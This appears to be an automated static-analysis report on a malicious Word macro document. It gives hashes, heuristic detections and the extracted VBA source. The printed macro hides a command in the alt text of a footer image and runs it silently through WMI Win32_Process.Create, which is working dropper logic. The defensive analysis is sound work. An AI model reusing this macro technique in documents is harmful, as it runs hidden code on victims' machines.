Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72363c8780f81c75…

MALICIOUS

Office (OLE)

49.0 KB Created: 2017-12-19 13:37:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: d35dbe2b3098f96b0e3bde7616f69818 SHA-1: 7a2ccb0e48aa065f9943d54487cc37ca5632d63d SHA-256: 72363c8780f81c75f9c35741b54444eaa54ac3cd293d8b112fd75f13a5107e33
322 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros with AutoOpen and Auto_Open functions that trigger the execution of a command. Specifically, the `GetObject("winmgmts:\\.\root\cimv2").Get("Win32_Process").Create` call within the `CommandButton1_Click` subroutine indicates an attempt to launch a process. The `f` variable, populated by `ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText`, likely contains the command or executable to be run, though its exact value is not directly extractable from the provided evidence. This behavior is consistent with a macro-based dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412880-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412880-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1138 bytes
SHA-256: 44bc7c2b55325801ab28bdaabb91be06a21ef0cfe9555052c15468480582e7fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MyDocument"
Sub Auto_Open()
    UserForm1.Show
End Sub
Sub AutoOpen()
    Auto_Open
End Sub



Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{64F16596-1AE5-4261-B47E-035B6A76AD53}{D4C0F6B1-04C3-44EC-B46B-ACE3B141AC7E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub CommandButton1_Click()
    Dim f As String
    f = ActiveDocument.Sections(1).Footers(1).Range.InlineShapes(1).AlternativeText
    Set s = GetObject("winmgmts:\\.\root\cimv2").Get("Win32_ProcessStartup")
    Set c = s.SpawnInstance_
    c.ShowWindow = 0
    Call GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create(f, Null, c, i)
    UserForm1.Hide
End Sub

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